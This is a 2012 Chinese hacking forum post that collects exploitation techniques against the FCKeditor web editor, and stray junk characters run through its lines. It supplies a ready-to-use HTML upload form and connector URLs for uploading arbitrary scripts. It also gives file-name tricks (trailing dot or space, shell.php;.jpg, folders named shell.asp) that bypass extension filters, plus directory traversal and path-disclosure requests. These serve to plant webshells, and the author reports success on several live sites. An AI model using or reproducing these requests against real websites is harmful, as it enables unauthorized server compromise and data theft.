找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2285|回复: 0
打印 上一主题 下一主题

Fckeditor漏洞 (2)

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:01:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Fckeditor漏洞利用总结  * P3 o# U3 L( i( ]8 z& ~  R
查看编辑器版本
+ N# z  {( G+ P2 Q8 Z) Z& D8 @" t" lFCKeditor/_whatsnew.html; M. D' v3 _: L+ l' [
—————————————————————————————————————————————————————————————! I1 D0 S4 S5 H. P% L4 w! j; l
0 }" X& E3 M  ^/ t( Z
2. Version 2.2 版本, ~/ G% z0 B2 o' K
Apache+linux 环境下在上传文件后面加个.突破!测试通过。
( c6 X5 E0 {  t- V—————————————————————————————————————————————————————————————0 c  h. C! Y6 J0 L+ Y7 g+ c
1 F8 q# Y' N  D9 B: y3 u
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
, l( j) i$ e/ x% s- N<form id="frmUpload" enctype="multipart/form-data"
% L3 j+ @9 g& t- N( m7 Xaction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>' ~3 x- h! |* M0 n( e  _
<input type="file" name="NewFile" size="50"><br>/ [* }( G9 R7 s! P" Z4 f& u
<input id="btnUpload" type="submit" value="Upload">) i8 h8 k0 D0 f
</form>
  D5 W7 A' p  f# d—————————————————————————————————————————————————————————————
) I& x* E# w  \0 v/ F) W( h/ g6 t: W" B& H% h
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法1 H* D1 j% q$ @' k1 p+ R5 n+ ~; Z
        很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
9 Z& [4 j4 Z' J# g  Q0 s; I* S    4.1:提交shell.php+空格绕过3 s; _' E! Q& P" F( S5 C# c
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。' D5 ]+ @  V4 m& n/ h3 O
    4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。1 N! o1 [9 J' s
—————————————————————————————————————————————————————————————
1 A3 k4 K9 L) t: i" [
+ ]9 {# |6 V! u# s9 s7 I2 Z8 d5. 突破建立文件夹
6 `* E+ q7 Z5 n6 g* N; Q; ~! O( VFCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684" c$ D0 U$ k, K3 [+ a, Y9 e
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
0 u" t/ g4 _* W8 g—————————————————————————————————————————————————————————————0 i6 u# l' K% ~) s) u  [6 [3 C

" g+ @* Y0 C, B7 }% X+ e7 _6. FCKeditor 中test 文件的上传地址7 S* z; Q2 i5 P: W+ p* B' z
FCKeditor/editor/filemanager/browser/default/connectors/test.html/ E5 b) C5 T2 v1 N
FCKeditor/editor/filemanager/upload/test.html
: w% n! t4 H, W, T% IFCKeditor/editor/filemanager/connectors/test.html6 v7 U, Q; \( {' m$ w% E
FCKeditor/editor/filemanager/connectors/uploadtest.html+ A: Q: R; g) [: r) g+ F
—————————————————————————————————————————————————————————————
( R8 D1 j) T9 J/ a6 ^8 R  P& ?" T6 A- @! i
7.常用上传地址
) G, ]) B. M* W9 R3 k1 Q# m9 ?FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/) l% T5 [3 Z2 }4 n* a8 ~
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp% P' T+ n- f' ~9 C
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
8 G& y; t( D) eJSP 版:% {. q0 E, x( r! p  G; [$ D
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
9 G, J# O0 |6 p注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文4 ~% {/ ~, c! s
件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。7 G" w) m8 }7 j" k4 q8 l
—————————————————————————————————————————————————————————————
9 P# v$ P: Q2 I* o8 d
$ a& e2 S3 H( h$ J. N' e. c8.其他上传地址
3 C7 W/ _: u0 f- o) ^FCKeditor/_samples/default.html% u. B; o$ T0 R; ?
FCKeditor/_samples/asp/sample01.asp2 P' }" w* ?# q/ g" E2 |9 `0 u
FCKeditor/_samples/asp/sample02.asp
+ p" u- E  C: u/ X' XFCKeditor/_samples/asp/sample03.asp( m8 i  {. m! M. w  L7 J6 c
FCKeditor/_samples/asp/sample04.asp
1 X* P( i1 n& [, u9 P! f! c* a4 a一般很多站点都已删除_samples 目录,可以试试。
) R8 B# l7 C( SFCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。# }5 f, |3 j! F
—————————————————————————————————————————————————————————————
5 }% K. r/ v+ y0 f2 h* W$ o8 `6 {& b8 e8 {! Y9 p* f
9.列目录漏洞也可助找上传地址( {7 C$ @& [) {: ?+ g6 ?! t
Version 2.4.1 测试通过
: G% W+ D9 Q7 V* O- d8 F7 q修改CurrentFolder 参数使用 ../../来进入不同的目录  h& \% K- ^) X7 ?6 ~
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
+ s: W9 v' B% D# J. `根据返回的XML 信息可以查看网站所有的目录。
3 a) D9 I. M- I+ V0 Q, G3 H: k  KFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F( _: h0 Y, c5 h- i  c* q- N
也可以直接浏览盘符:; V! \/ r. x) ?& B' h$ h( V: A. `
JSP 版本:, |6 v# H/ V( J+ e3 _
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F; W  G/ }2 L$ l8 }) }: p, n( z
—————————————————————————————————————————————————————————————5 S" R6 o0 C6 p7 Q! R0 G" f: u% `

6 V) t4 e4 W) {( c10.爆路径漏洞
( z3 f% L, H9 q* QFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
0 K) v, q4 ^6 a' u% i, _—————————————————————————————————————————————————————————————
: d% ~/ ~  ~, E# f* H! B5 h5 n1 ]- a! K* x
11. FCKeditor 被动限制策略所导致的过滤不严问题* L# I: W7 A/ H9 h+ B  P- s) V
        影响版本: FCKeditor x.x <= FCKeditor v2.4.36 h, S8 m! b% b& u% c2 E
脆弱描述:
& l) c# h, b' p  F+ P* sFCKeditor v2.4.3 中File 类别默认拒绝上传类型:
: {3 j' `% T: |% J: n: e8 Zhtml|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
+ {9 S# m3 i* aFckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
( i6 i' o. |6 {* y9 u2 W        而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。
/ G9 \7 G/ i  F( V5 W( O        在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!
& ~4 B. M0 C: G, R—————————————————————————————————————————————————————————————2 B! @- r. V- T4 v8 W
' V  u, D: i0 w: i8 G
12.最古老的漏洞,Type文件没有限制!2 d) [3 ^6 ~; H6 \: q' A& R% e& }' O
        我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本!
7 I+ a2 t0 i; }9 B—————————————————————————————————————————————————————————————
$ {) s4 S( u0 b7 G) @" x9 g9 V: o, Z; h$ y4 j+ y5 M
===============================================================================================================================================
& b+ r6 S) g% j. [% h. @' o4 u0 s' {
FCK编辑器jsp版本漏洞:9 z  F$ ]: r( N* Z( L6 {* Q, T) x
; ?* ~- a' D: u: w/ k3 Y

$ h* e! U# ?/ E: d0 [, ehttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
/ p2 k4 L0 `* D: x  V7 W: r+ I- D3 c  f8 F7 Q0 r- d
上传马所在目录" X1 S0 m$ B9 f: i2 T
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
- l: u' C4 e" F) V上传shell的地址:% `2 q4 n: b) [% Q' _; e
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector
1 A/ _; ~: z& Y2 b3 y2 W5 U跟版本有关系.并不是百分百成功. 测试成功几个站.' v  o6 j0 Q" `: M
不能通杀.很遗憾.$ _0 q/ M5 x" E- S8 |+ s
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector3 [- {2 V- ?' N4 f! t# o
如果以上地址不行可以试试6 c+ r7 h2 g; V8 N: P# k
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
. I, ?1 ^" K2 L' d' s# L/ y" ~/ ~" _FCKeditor/_samples/. ~; [+ m$ f6 s* b1 E( x& v/ G
FCKeditor/_samples/default.html
2 l0 Y4 t6 @  n$ n( R% MFCKeditor/editor/fckeditor.htm3 i) u3 v8 C: e# W# j9 g
FCKeditor/editor/fckdialog.html
$ w8 M5 E2 J, s4 L
+ U. W2 L0 t. M8 `* Q  f' Z! O) X

/ ?3 i" }# q1 [" s+ F解析漏洞+未重命名文件时上传漏洞  1.asp;jpg2 h; H& ?8 ?: G" |3 R2 G* M* ?
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表